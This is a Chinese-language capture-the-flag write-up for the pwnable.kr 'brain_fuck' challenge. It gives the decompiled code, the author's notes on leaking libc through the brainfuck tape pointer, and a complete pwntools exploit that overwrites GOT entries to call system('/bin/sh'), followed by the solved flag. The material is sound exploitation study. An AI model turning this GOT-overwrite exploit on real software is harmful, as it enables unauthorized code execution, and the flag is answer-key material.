pwnable.kr之brain_fuck
题目源码
main函数的代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@4
int v4; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
int v6; // [sp+2Ch] [bp-408h]@1
int v7; // [sp+42Ch] [bp-8h]@1
v7 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(&v6, 0, 0x400u);
fgets((char *)&v6, 1024, stdin);
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v7;
return result;
}
do_brainfuck函数的代码
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
int v2; // ebx@7
result = a1;
switch ( a1 )
{
case 62:
result = p++ + 1;
break;
case 60:
result = p-- - 1;
break;
case 43:
result = p;
++*(_BYTE *)p;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(_BYTE *)p);
break;
case 44:
v2 = p;
result = getchar();
*(_BYTE *)v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
做题的思路
首先这题没找到溢出点,memset分配了1024,fget也只限定输入1024,然后do_brainfuck也只是做了一些编码的操作,里面有个getchar函数感觉用不了
导入函数里面并没有write和read函数,感觉无法leak,找到了一个__stack_chk_fail,不知道怎么用
但是题目给了bf_libc.so文件,肯定要进行泄露然后得到getshell,题目开启了NX和canary,比较难,NX用ret2libc绕过,canary用暴力破解?
v6缓冲区离canary正好是1024的大小
0xbfffeb1c
EAX = 0xb 加了换行
ebx = 0,计数器i保存在[esp+28h]处
buf保存在[esp+2Ch]处
canary保存在[esp+42Ch]处
没有具体分析do_brainfuck函数,还是没有认真分析,老想看网上教程
- > : p ++
- < : p –
- + : ++(*p)
- - : –(*p)
- . : putchar(*p) 打印p指针
- , : getchar 给p指针赋值
因为p指针地址在bss上,离data段,上去就是.got.plt段,思路:可以通过移动p指针,改写.got.plt上的函数
.got.plt:0804A030 off_804A030 dd offset putchar ; DATA XREF: _putcharr
.bss:0804A080 p dd ?
tape的地址可以从gdb调试中获取
需要偏移的p指针offset = 0x0804A080-0x0804A030 = 0x50
思路还是太窄
可以跳回到main函数再执行一次
.got.plt:0804A02C off_804A02C dd offset memset .got.plt:0804A010 off_804A010 dd offset fgets
如何根据so文件泄露函数的真实地址?
根据泄露putchar函数的真实地址(gdb中可以通过print打印出来),然后根据so文件泄露其它函数地址,因为他们相对偏移是不变的
首先通过得到putchar函数运行时的地址,计算出其它函数真实的地址,覆盖putchar函数到main函数
不知道main函数的地址,main函数的地址好像是不变的,main_addr = 0x8048671 这里要注意地址小端问题,这里直接赋值应该没问题
怎么寻找/bin/sh的地址? 这里可以通过gets函数来输入,输入放在哪?又怎么作为system的参数
因为我们把memset覆盖成gets函数,栈空间是不变的,所以我们传进去的/bin/sh保存在v6上,然后覆盖fgets为system函数,此时system的参数就是v6就已经传进来了。
不理解为什么一开始要调用一次putchar,明明两个连续的’.’,但是结果不一样,这里我想是不是因为延迟绑定的原因,先将p指针压入栈中,因为此时got表还没绑定putchar,所以得到的地址并不是putchar的地址。 这题不知道怎么调试,每次调试都会跳进do_brain_fuck的循环里面,我明明是在收到第二次”type some brainfuck instructions except [ ]\n”附加gdb的
exploit代码
from pwn import *
import time
context.log_level = 'debug'
p = process("./bf")
#p = remote('pwnable.kr',9001)
#libc = ELF('bf_libc.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
pt_got = 0x0804A0A0
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
memset_libc = libc.symbols['memset']
system_libc = libc.symbols['system']
p.recvuntil("type some brainfuck instructions except [ ]\n")
payload = '.'+(pt_got - putchar_got)*'<' + '.>'*4 #泄露putchar函数地址
payload += '<'*4 + ',>'*4 #覆盖putchar函数为main函数
payload += (putchar_got - memset_got + 4)*'<' + ',>'*4 #覆盖memset函数为gets函数,+4是因为之前putchar函数已经被覆盖了,算偏移到倒回去4
payload += (memset_got - fgets_got + 4)*'<'+',>'*4 #覆盖fgets函数为system函数
payload += '.' #调用putchar函数,实际上是main函数
p.sendline(payload)
print str(p.recv(1))
putchar_addr = u32(p.recv(4)) #接收putchar函数实际地址
#gdb.attach(p)
print putchar_addr
#计算system函数gets函数的实际地址
offset_addr = putchar_addr - putchar_libc
system_addr = offset_addr + system_libc
gets_addr = offset_addr + gets_libc
binsh = '/bin/sh\0'
main_addr = 0x8048671
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.recvuntil("type some brainfuck instructions except [ ]\n")
p.sendline(binsh)
p.interactive()
flag :BrainFuck? what a weird language..